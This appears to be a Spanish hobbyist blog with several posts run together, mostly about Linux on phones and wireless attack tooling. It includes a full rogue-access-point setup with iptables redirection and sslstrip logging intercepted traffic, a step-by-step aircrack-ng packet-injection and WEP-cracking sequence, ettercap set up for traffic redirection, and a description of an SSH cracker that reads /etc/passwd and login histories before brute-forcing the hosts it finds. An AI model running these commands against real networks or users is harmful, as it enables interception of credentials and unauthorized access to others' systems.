AP, SSLStrip en Debian

Siempre he tenido ganas de montar un AP en una máquina Linux, pero vamos a ir un poco mas allá y vamos a instalar bind, dhcp3-server y sslstrip para que nuestro AP dé un poco mas de juego.

Mediante Bind podremos resolver nosotros mismos las direcciones ip de nuestros clientes, con el servidor DHCP repartiremos ips y con SSLStrip podremos hacer de intermediarios en las peticiones HTTPS realizando las peticiones HTTPS al servidor final y HTTP a nuestros clientes, de este modo el tráfico solo viajará cifrado desde el AP al servidor final.

Instalamos el software necesario:
apt-get install bind9 dhcp3-server hostapd aircrack-ng

Necesitamos una interfaz en modo monitor(mon0), utilizaremos el direccionamiento 192.168.2.X:
airmon-ng start wlan0
ifconfig mon0 192.168.2.1

Configuramos hostapd con la intefaz de red y el SSID:
vi /etc/hostapd/hostapd.conf
interface=mon0
driver=nl80211
ssid=LA QUE MONTA ESTA
hw_mode=g
channel=1

Arrancamos hostapd con la configuración anterior:
/usr/sbin/hostapd /etc/hostapd/hostapd.conf

Configuramos un servidor DHCP para que los clientes que se conecten a nuestro AP reciban una dirección ip:

vi /etc/dhcp/dhcpd.conf
subnet 192.168.2.0 netmask 255.255.255.0 {
range 192.168.2.2 192.168.2.4;
option domain-name-servers 8.8.8.8;
option routers 192.168.2.1;
}

Habilitamos el enmascaramiento(NAT)
iptables -t nat -A POSTROUTING -s 192.168.2.0/24 -d 0.0.0.0/0 -j MASQUERADE

Y ahora obramos el milagro, las peticiones dirigidas al puerto 80 la enviamos a localhost 10000:
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000

Ahora arrancamos sslstrip, este se mantendrá a la espera de peticiones en el puerto 10000:
cd /usr/src
wget http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.9.tar.gz
tar xvzf sslstrip-0.9.tar.gz
cd sslstrip-0.9
python sslstrip.py -w salida

Dejamos tail monitorizando el fichero de salida de SSLStrip:
tail -f /usr/src/sslstrip-0.9/salida

Rootear LG Optimus2X desde Linux.

En este articulo voy a explicar como rootear nuestro querido LG Optimus 2X, rootearlo nos permitirá instalar software que de otro modo no funcionaría correctamente, además seremos capaces de flashear nuestro teléfono con ROMs no oficiales.

Activamos la opción de debug / desarrolladores (AJUSTES - APLICACIONES - DESARROLLO - DEPURACION USB)

Descomprimimos el tar.gz y asignamos permisos de ejecución:
chmod +x root.command
chmod +x files/shared.sh
chmod +x files/adb_linux

Comenzamos con el proceso:
./root.command

Ahora ya podremos poner cualquier ROM, yo personalmente estoy bastante contento con la MIUI, es muy rápida pero se come la bateria que da gusto...

Para instalar la ROM debemos utilizar una utilidad del tipo RecoveryBoot, tendremos que copiar la imagen de la ROM en la tarjeta SD externa y luego desde el menú del recovery:
- wipe data/factory reset
- wipe cache partition
- install zip from sdcard --> choose zip from sdcard

Cuando termine ya tendremos la ROM instalada, para cambiarla por otra tendremos que acceder de nuevo al Recovery y repetir el proceso.

Preparar wifi para inyección de paquetes.

Seguramente hayáis leído algo acerca de la seguridad en redes wireless, pero también habréis notado que la gran mayoría de estos documentos están pensados para utilizarlos en un sistema con la Backtrack corriendo.
En esta ocasión vamos a preparar nuestro sistema para que sea capaz de inyectar tráfico sin tener que emplear tan conocida distro.

Las piezas necesarias para poder realizar la inyección de paquetes son:

• Compat-Wireless: Se trata de la pila wireless del kernel, separándola del kernel podremos probar parches que afectan a dicha pila sin tener que parchear el kernel.
• Kernel: El resto de drivers.
• AirCrack-NG
  

Lo primero será instalar AirCrack-NG:
apt-get install aircrack-ng

Compilamos las fuentes del kernel, en nuestro caso vamos a hacerlo para el kernel-3.0.2:
cd /usr/src
wget http://www.kernel.org/pub/linux/kernel/v3.0/linux-3.0.2.tar.bz2

Habilitamos los drivers de nuestra tarjeta de red(en mi caso ath9k):
Device drivers --> Network Device Support --> Wireless lan --> Atheros Wireless Card:
Atheros 802.11n wireless card support
Atheros ath9k PCI/PCIe bus support

También hacen falta los drivers de Intel, solo Dios sabe porque.....:
Device drivers --> Network Device Support --> Wireless lan --> Intel PRO/Wireless 2100 Network Connection

En la versión 3 del kernel ya no hay que hacer nada de forma manual, nos copiará la imagen del kernel a boot y generará una entrada en el grub.

Reiniciamos el equipo con el kernel nuevo y testeamos la inyección con:
airmon-ng start wlan0
aireplay-ng -9 mon0


Podemos ver las redes que se encuentran a nuestro alcance con:
airodump-ng mon0
airodump-ng --channel "CANAL" mon0

Pero en la primera línea aparecerá un problemilla, si nos fijamos el canal en el que se encuentra la tarjeta es el -1:
CH 9 ][ Elapsed: 4 s ][ 2011-11-01 19:32 ][ fixed channel mon0: -1

Cuando intentemos asociarnos al AP y aparece de nuevo el problema del canal:
aireplay-ng -1 0 -e NOMBRE_AP -a MAC_AP -h MI_MAC mon0
19:35:46 Waiting for beacon frame (BSSID: 09:01:CF:3F:DF:59) on channel -1
19:35:46 mon0 is on channel -1, but the AP uses channel 9

Para solventar esto tendremos que bajarnos compat-wireless y los parches pertinentes.
cd /usr/src
wget http://www.orbit-lab.org/kernel/compat-wireless-3.0-stable/v3.0/compat-wireless-3.0-2.tar.bz2
tar -jvxf compat-wireless-3.0-2.tar.bz2
cd compat-wireless-3.0-2
wget http://patches.aircrack-ng.org/mac80211.compat08082009.wl_frag+ack_v1.patch
wget http://patches.aircrack-ng.org/channel-negative-one-maxim.patch
patch -p1 < mac80211.compat08082009.wl_frag+ack_v1.patch
patch -p1 < channel-negative-one-maxim.patch

Se puede optar por compilar todos los drivers o solo los correspondientes a nuestra tarjeta de red, si solo queremos compilar un módulo concreto(este script solo soporta algunas tarjetas, ath9k sí ;) ):
./scripts/driver-select --> Listamos módulos disponibles
./scripts/driver-select ath9k
make
make install
reboot

En el caso de que se quieran compilar todos los drivers:
make
make install
make wlunload
modprobe driver-name
reboot


Si decidimos desinstalar los módulos generados:
cd compat-wireless-...
make uninstall
make wlunload
modprobe "módulo original" o reiniciar

Ahora ya estamos en condiciones de proceder con la inyección de paquetes:
airmon-ng start wlan0
airodump-ng mon0
airodump-ng --channel "CANAL" mon0
aireplay-ng -1 0 -e NOMBRE_AP -a MAC_AP -h MI_MAC mon0
aireplay-ng -3 -b MAC_AP -h MI_MAC mon0 --> Empezamos a inyectar tráfico
airodump-ng --channel CANAL --bssid MAC_AP --write "nombre_fichero" mon0 --> Empezamos a capturar paquetes
aircrack-ng -a 1 "nombre_fichero.cap" --> Crackeamos los paquetes


Seguro que este articulo le es de ayuda a mas de uno, en mi caso tardé un tiempo en recopilar toda la información necesaria.

Cambio de prompt ^_^

Este es un pequeño truco con el que conseguiremos un prompt muy especial, cuando ejecutemos un comando correctamente nos mostrará ^_ ^ en verde y si el comando es incorrecto nos mostrará 0_0 en rojo.
Para conseguir esto editamos el fichero .bashrc de nuestro home y añadimos:
PS1="\`if [ \$? = 0 ]; then echo \[\e[33m\]^_^\[\e[0m\]; else echo \[\e[31m\]O_O\[\e[0m\]; fi\` \[\033[01;32m\]\u:\[\033[01;34m\]\w \$\[\033[00m\]"

Ya lo tendríamos listo, a disfrutar ;)

Craking hash MD5 de forma rápida

La única forma conocida de desencriptar un hash MD5 es mediante fuerza bruta, es decir se genera el hash de una palabra conocida y si el hash obtenido coincide con el que se quiere desencriptar es que el password es esta palabra.
Esto es un proceso muy costoso pero en Internet hay dos formas de hacerlo mas facilmente si tenemos un poco de suerte, los dos métodos son los siguientes:

• Tablas Rainbow: Tablas precomputadas de palabras con su correspondiente hash.
• Búsqueda en Google del hash

Si tenemos suerte y encontramos el hash de este modo nos ahorraremos muchoooo tiempo quemando micro.

Ettercap en Android

Siguiendo con las frikerias en Android vamos a instalar ettercap en nuestra Debian "chrooteada" dentro de nuestro Android.
Instalamos ettercap con soporte gráfico:
apt-get install ettercap-gtk

Habilitamos iptables para el reenvío de tráfico:
vi /etc/etter.conf
# if you use iptables:
redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"

Habilitamos el enrutado en el chroot:
echo 1 > /proc/sys/net/ipv4/ip_forward

Para que ettercap funcione bien en el chroot tendremos que ejecutarlo con UID=0
vi /etc/etter.conf
[privs]
#ec_uid = 65534 # nobody is the default
ec_uid = 0 # nobody is the default
ec_gid = 65534 # nobody is the default

Guardamos y listo!! Ya podemos utilizar ettercap como si de un Linux normal se tratase ;)

Debian mediante chroot en Android

Llevo tiempo sin escribir ningún artículo pero os aseguro que la espera ha valido la pena.

En esta ocasión vamos a instalar nuestra distro preferida en nuestro teléfono móvil, lo haremos mediante la técnica de "chrooting", de este modo conservaremos nuestro Android intacto y solo arrancaremos la Debian cuando lo deseemos.
Bueno dicho lo dicho empezamos:

Tendremos que ganar acceso root en nuestro terminal, este paso es diferente para cada móvil, para el mío(LG Optimus 2X) se puede hacer siguiendo este procedimiento.

Instalaremos un servidor ssh para acceder a nuestro Android de forma remota, el sshdroid funciona muy bien y además podremos encontrarlo de forma gratuita en el market.

Necesitaremos saber el esquema de particiones que tenemos en Android, para ello conectamos por ssh al móvil y empleamos el comando mount, buscamos la línea que corresponde con el punto de montaje /system:

/dev/block/mmcblk0p1 on /system type ext4 (ro,noatime,errors=continue,barrier=1,data=ordered)

El dato que debemos anotar es: /dev/block/mmcblk0p1

Ahora instalamos en la Debian de nuestra computadora un software llamado debootstrap y generamos el fichero de la Debian del chroot, este fichero puede tener el tamaño que deseemos, pero en mi caso como quiero poder almacenarlo en la tarjeta MicroSD(VFAT) será de 4Gb(el máximo tamaño en VFAT):

apt-get install debootstrap
dd if=/dev/zero of=debian.img bs=1024 count=3955078
mke2fs -F debian.img
mkdir debian
mount -o loop debian.img debian/
debootstrap --verbose --arch armel --foreign squeeze debian http://ftp.us.debian.org/debian
umount debian/
rm -r debian/

Con esto ya tenemos un fichero llamado debian.img con un sistema Debian mínimo, lo copiamos a la tarjeta MicroSD.

Para poder montar la imagen debemos poder escribir en la partición /system, por defecto se monta con permisos de solo eslectura, así que accedemos al móvil por ssh y ejecutamos:
mount -o remount,rw -t ext4 /dev/block/mmcblk0p1 /system

Montamos la imagen de Debian en /data/local/debian:
mkdir /data/local/debian
mount -t ext2 -o rw,noatime,nodiratime,loop /mnt/sdcard/_ExternalSD/debian.img /data/local/debian

Vinculamos proc y sysfs al entorno chroot:
mount -t proc /proc /data/local/debian/proc
mount -t sysfs /sysfs /data/local/debian/sys

Habilitamos el enrutado:
sysctl -w net.ipv4.ip_forward=1

Definimos DNS y /etc/hosts en el chroot:
echo "nameserver 8.8.8.8" > /data/local/debian/etc/resolv.conf
echo "nameserver 8.8.4.4" >> /data/local/debian/etc/resolv.conf
echo "127.0.0.1 localhost" > /data/local/debian/etc/hosts

Montamos las Tarjetas SD(tanto interna del móvil como la MicroSD):
mkdir /data/local/debian/mnt/sdcard
mkdir /data/local/debian/mnt/sdcard/_ExternalSD

mount --bind /mnt/sdcard/ /data/local/debian/mnt/sdcard
mount --bind /mnt/sdcard/_ExternalSD /data/local/debian/mnt/sdcard/_ExternalSD

Accedemos al entorno chroot:
chroot /data/local/debian /bin/bash

Terminamos la instalación e instalamos software interesante:
/debootstrap/debootstrap --second-stage
echo 'deb http://ftp.us.debian.org/debian squeeze main' > /etc/apt/sources.list
apt-get install lxde tightvncserver ettercap-gtk nmap vim netcat

Nos pedirá la configuración de teclado.

apt-get autoclean
apt-get update

Salimos del chroot:
exit

Desmontamos el chiringuito:
umount /data/local/debian/mnt/sdcard/_ExternalSD
umount /data/local/debian/mnt/sdcard
umount /data/local/debian


Ya está ya tenemos una Debian chrooteada, así de fácil, cada vez que queramos acceder a ella tendremos que realizar el proceso de montaje de la imagen, vinculación de /proc /sysfs,......

Para automatizar esto he escrito un script que lo hace por nosotros.
cd /system/xbin/
vi bootdebian.sh

clear
echo " "
echo " "
echo " "
echo +---------------------------------------+
echo "|||| CyberDyne Systems ||||"
echo +---------------------------------------+
echo " "
echo " "
echo " "


echo "Montando /system como R/W"
mount -o remount,rw -t ext4 /dev/block/mmcblk0p1 /system

echo ----------------------------------------
echo "Definiendo variables"
export bin=/system/bin
export img=/mnt/sdcard/_ExternalSD/debian.img
export mnt=/data/local/debian
export PATH=$bin:/usr/bin:/usr/sbin:/bin:$PATH
export TERM=linux
export HOME=/root

if [ ! -d $mnt ]; then
mkdir $mnt
fi

echo ----------------------------------------
echo LISTADO VARIABLES:
echo BIN: $bin
echo IMG: $img
echo MNT: $mnt
echo PATH: $PATH
echo TERM: $TERM
echo HOME: $HOME
echo ----------------------------------------



echo ----------------------------------------
echo "Montando la imagen Debian"
echo "mount -t ext2 -o rw,noatime,nodiratime,loop $img $mnt"
busybox mount -t ext2 -o rw,noatime,nodiratime,loop $img $mnt

echo ----------------------------------------
echo "Vinculando pts, proc y sysfs al entorno chroot"
busybox mount -t devpts /dev/pts $mnt/dev/pts
busybox mount -t proc /proc $mnt/proc
busybox mount -t sysfs /sysfs $mnt/sys

echo ----------------------------------------
echo "Habilitando enrutado"
echo 1 > /proc/sys/net/ipv4/ip_forward
echo ----------------------------------------
echo "Definiendo DNS y /etc/hosts en el chroot"
echo "nameserver 8.8.8.8" > $mnt/etc/resolv.conf
echo "nameserver 8.8.4.4" >> $mnt/etc/resolv.conf
echo "127.0.0.1 localhost" > $mnt/etc/hosts

echo ----------------------------------------
echo "Montando /mnt/sdcard en el chroot"
if [ ! -d $mnt/mnt/sdcard ]; then
mkdir $mnt/mnt/sdcard
fi

busybox mount --bind /mnt/sdcard/ $mnt/mnt/sdcard


echo ----------------------------------------
echo "Montando /mnt/sdcard/_ExternalSD en el chroot"
if [ ! -d $mnt/mnt/sdcard/_ExternalSD ]; then
mkdir $mnt/mnt/sdcard/_ExternalSD
fi

busybox mount --bind /mnt/sdcard/_ExternalSD $mnt/mnt/sdcard/_ExternalSD



echo #####################################
echo "Entering The MATRIX... "
echo " "
chroot $mnt /bin/bash

echo " "
echo #####################################
echo "Saliendo The MATRIX... "
echo " "

echo ----------------------------------------
echo "Desmontando /mnt/sdcard/_ExternalSD en el chroot"
busybox umount $mnt/mnt/sdcard/_ExternalSD

echo ----------------------------------------
echo "Desmontando /mnt/sdcard en el chroot"
busybox umount $mnt/mnt/sdcard

echo ----------------------------------------
echo "Deshabilitando enrutamiento"
sysctl -w net.ipv4.ip_forward=0

echo ----------------------------------------
echo "Desvinculando pts, proc y sysfs del chroot"
busybox umount $mnt/dev/pts
busybox umount $mnt/proc
busybox umount $mnt/sys

echo ----------------------------------------
echo "Desmontando imagen Debian"
busybox umount $mnt

echo ----------------------------------------
echo "Remontando /system como solo lectura"
busybox mount -o remount,ro -t ext4 /dev/block/mtdblock3 /system
echo ----------------------------------------

Guardamos y salimos.

Le asignamos el 777 de la muerte:
chmod 777 /system/xbin/bootdebian.sh

Lo ejecutamos:
bootdebian.sh

Con todo esto tenemos una Debian totalmente operativa, pero vamos a ponerle la guinda al pastel consiguiendo las X en este sistema, yo personalmente no he sido capaz de arrancar las X dentro del chroot, lo que hago es arrancar un servidor VNC y conectar desde Android a la Debian del chroot.

Para arrancar el servidor VNC dentro del chroot es necesario definir cierta variable y eliminar ficheros de sesiones VNC anteriores:
export USER=root
rm /tmp/.X*-lock
rm /tmp/.X11-unix/X*
vncserver -geometry 800x480

Pedirá password

Para no tener que hacer esto cada vez que queremos arrancar el servicio nos creamos un mini-script:

vi vnc.sh

#!/bin/bash
export USER=root
rm /tmp/.X*-lock 2>/dev/null
rm /tmp/.X11-unix/X* 2>/dev/null
vncserver -geometry 800x480

chmod +x vnc.sh
./vnc.sh

Ahora desde Android con algún cliente VNC del estilo androidVNC ya podremos conectar en local al servidor del chroot y obtendremos un bonito gestor de ventanas como respuesta ;)

Cuando se salga del chroot hay que matar vnc y la sesión lxde:
vi kill_VNC.sh

#!/bin/bash

PIDS_VNC=$(pidof Xtightvnc)
echo -------------------------
echo Matando Procesos VNC
for i in $PIDS_VNC
do
echo Matando proceso: $i
kill $i
done

PIDS_LXDE=$(pidof lxsession)
echo -------------------------
echo Matando Procesos LXDE
for i in $PIDS_LXDE
do
echo Matando proceso: $i
kill $i
done
echo -------------------------

chmod +x kill_VNC.sh

Ahun así cuando se sale no es capaz de desmontar la imagen de Debian pero si se entra y se sale de nuevo suele funcionar.
Misterios de la vida.....

Bueno esto es todo, espero que le saqueis provecho a todo esto y recordad que tener Linux instalado en el móvil es como llevar siempre encima un micro portatil ;)))

Red-Termite SSH Cracker

Llevo unos cuantos días escribiendo un script que combina Bash y Expect, se trata de una herramienta de craking ssh.
El script intentará conectarse a los servidores ssh especificados en el fichero de configuración LISTA, este debe estar en el formato: "servidor":"usuario":"password", una vez se haya logado ejecutará last -i y cat /etc/passwd, de este modo tendremos un listado de usuarios y las ips desde las que se conectaron a este servidor.
Despues se intentará acceder a estas ips por ssh empleando:

• Ususario: "nombre_usuario" Password: "nombre_usuario"
• Ususario: "nombre_usuario" Password: "Listado_usuarios"
• Ususario: "Listado_usuarios" Password: "Listado_usuarios"

En las dos primeras opciones solo intentará hacer login en las ips desde donde se conectó cada usuario.

El listado de usuarios se genera a partir de los usuarios obtenidos a través de la conexión ssh y de un fichero local llamado USUARIOS_COMUNES_PREDEFINIDOS, he añadido bastantes nombres de diferentes series, peliculas....... pero se pueden añadir los diccionarios que se deseen:
cat "diccionario" >> USUARIOS_COMUNES_PREDEFINIDOS

Este script se sirve de NMap, NCrack y Dos2Unix para realizar sus operaciones, NMap y Dos2Unix se pueden instalar desde los repositorios:
apt-get install nmap tofrodos

Para instalar NCrack deberemos seguir este artículo anterior donde se explico como hacerlo.

El script consta de varios subscripts:

• Connect.sh: Script desde el que se iniciarán el resto de scripts.
• Expect_Nmap_SSH.exp: Script que comprueba que el puerto 22 está escuchando en el host destino.
• Expect_SSH.exp: Script que realiza la conexión por ssh y ejecuta los comandos last -i y cat /etc/passwd.
• Process.sh: Script que procesa la salida del script anterior.
• Auto_Crack.sh: Script que lanza NCrack con los usuarios y passwords obtenidos a partir de las conexiones ssh.

El script solo es válido para sistemas que permitan la opción -i en el comando last por ejemplo FreeBSD no lo permite!! No se si en BSD y otros Unix hay equivalente, pero si la hay será fácil realizar las modificaciones pertinentes en el script en Expect(Expect_SSH.exp).